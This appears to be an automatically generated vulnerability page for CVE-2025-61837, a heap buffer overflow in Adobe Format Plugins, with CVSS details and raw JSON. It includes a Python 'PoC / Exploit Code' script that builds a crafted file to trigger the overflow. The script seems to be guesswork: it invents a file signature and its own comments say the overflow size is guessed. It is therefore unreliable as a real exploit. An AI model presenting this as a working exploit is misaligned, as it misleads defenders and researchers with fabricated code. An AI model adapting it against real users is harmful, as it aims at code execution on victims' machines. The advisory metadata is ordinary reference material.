Security Vulnerability Report
中文
CVE-2025-61837 CVSS 7.8 HIGH

CVE-2025-61837

Published: 2025-11-11 19:15:35
Last Modified: 2025-11-13 15:20:01

Description

Format Plugins versions 1.1.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:* - VULNERABLE
Adobe Format Plugins <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os def create_malicious_file(filename): """ PoC for CVE-2025-61837: Adobe Format Plugins Heap Buffer Overflow This PoC creates a malicious file that triggers heap buffer overflow when opened by vulnerable Adobe Format Plugins versions <= 1.1.1 """ # Craft malicious file with oversized data field # File header header = b'FPGN' # Format Plugins signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000001) # File type # Malicious payload - oversized string that overflows heap buffer # The exact overflow size depends on the vulnerable buffer allocation overflow_size = 2048 # Large enough to overflow typical buffer malicious_data = b'A' * overflow_size # Craft the data chunk with length field manipulation data_chunk = struct.pack('<I', len(malicious_data) + 100) data_chunk += malicious_data data_chunk += b'\x00' * 100 # Padding to ensure overflow # File metadata metadata = b'META' metadata += struct.pack('<I', 0x00000001) metadata += b'\x00' * 64 # Combine all parts poc_file = header + data_chunk + metadata with open(filename, 'wb') as f: f.write(poc_file) print(f"[+] PoC file created: {filename}") print(f"[+] File size: {len(poc_file)} bytes") print(f"[+] Overflow payload size: {overflow_size} bytes") if __name__ == '__main__': output_file = 'CVE-2025-61837 PoC.fmt' create_malicious_file(output_file) print("\n[!] Usage: Open this file with vulnerable Adobe Format Plugins")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61837", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:35.297", "lastModified": "2025-11-13T15:20:00.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}